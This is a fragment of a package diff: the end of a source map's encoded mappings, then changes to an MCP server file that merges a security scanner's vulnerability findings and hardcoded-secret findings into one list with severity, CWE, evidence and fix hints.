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"}
|
package/mcp/index.js
CHANGED
|
@@ -117,17 +117,33 @@ server.setRequestHandler(CallToolRequestSchema, async (request) => {
|
|
|
117
117
|
low: result.summary.low,
|
|
118
118
|
};
|
|
119
119
|
|
|
120
|
-
|
|
121
|
-
|
|
122
|
-
|
|
123
|
-
|
|
124
|
-
|
|
125
|
-
|
|
126
|
-
|
|
127
|
-
|
|
128
|
-
|
|
129
|
-
|
|
130
|
-
|
|
120
|
+
// Combine vulnerabilities and secrets
|
|
121
|
+
const allFindings = [
|
|
122
|
+
...result.vulnerabilities.map(v => ({
|
|
123
|
+
type: v.category,
|
|
124
|
+
severity: v.severity,
|
|
125
|
+
message: `${v.finding} vulnerability detected`,
|
|
126
|
+
source: v.path[0] || 'unknown',
|
|
127
|
+
sink: v.path[v.path.length - 1] || 'unknown',
|
|
128
|
+
cwe: v.cwe,
|
|
129
|
+
line: v.location.line,
|
|
130
|
+
evidence: v.evidence.filter(e => e.line).map(e => `${e.type} at line ${e.line}`).join(', ') || 'No evidence',
|
|
131
|
+
fix: 'Use proper sanitization (parameterized queries, input validation, etc.)',
|
|
132
|
+
})),
|
|
133
|
+
...result.secrets.map(s => ({
|
|
134
|
+
type: 'secret',
|
|
135
|
+
severity: 'high',
|
|
136
|
+
message: `${s.type} detected`,
|
|
137
|
+
source: 'hardcoded',
|
|
138
|
+
sink: 'code',
|
|
139
|
+
cwe: 'CWE-798',
|
|
140
|
+
line: s.line,
|
|
141
|
+
evidence: s.match,
|
|
142
|
+
fix: 'Use environment variables',
|
|
143
|
+
}))
|
|
144
|
+
];
|
|
145
|
+
|
|
146
|
+
const findings = allFindings;
|
|
131
147
|
|
|
132
148
|
return {
|
|
133
149
|
content: [
|
|
@@ -158,17 +174,29 @@ server.setRequestHandler(CallToolRequestSchema, async (request) => {
|
|
|
158
174
|
critical: result.summary.critical,
|
|
159
175
|
high: result.summary.high,
|
|
160
176
|
medium: result.summary.medium,
|
|
161
|
-
low: result.summary.low,
|
|
162
177
|
};
|
|
163
178
|
|
|
164
|
-
|
|
165
|
-
|
|
166
|
-
|
|
167
|
-
|
|
168
|
-
|
|
169
|
-
|
|
170
|
-
|
|
171
|
-
|
|
179
|
+
// Combine vulnerabilities and secrets
|
|
180
|
+
const allFindings = [
|
|
181
|
+
...result.vulnerabilities.map(v => ({
|
|
182
|
+
type: v.category,
|
|
183
|
+
severity: v.severity,
|
|
184
|
+
message: `${v.finding} vulnerability detected`,
|
|
185
|
+
line: v.location.line,
|
|
186
|
+
evidence: v.evidence.filter(e => e.line).map(e => `${e.type} at line ${e.line}`).join(', ') || 'No evidence',
|
|
187
|
+
fix: 'Use proper sanitization (parameterized queries, input validation, etc.)',
|
|
188
|
+
})),
|
|
189
|
+
...result.secrets.map(s => ({
|
|
190
|
+
type: 'secret',
|
|
191
|
+
severity: 'high',
|
|
192
|
+
message: `${s.type} detected`,
|
|
193
|
+
line: s.line,
|
|
194
|
+
evidence: s.match,
|
|
195
|
+
fix: 'Use environment variables',
|
|
196
|
+
}))
|
|
197
|
+
];
|
|
198
|
+
|
|
199
|
+
const findings = allFindings;
|
|
172
200
|
|
|
173
201
|
return {
|
|
174
202
|
content: [
|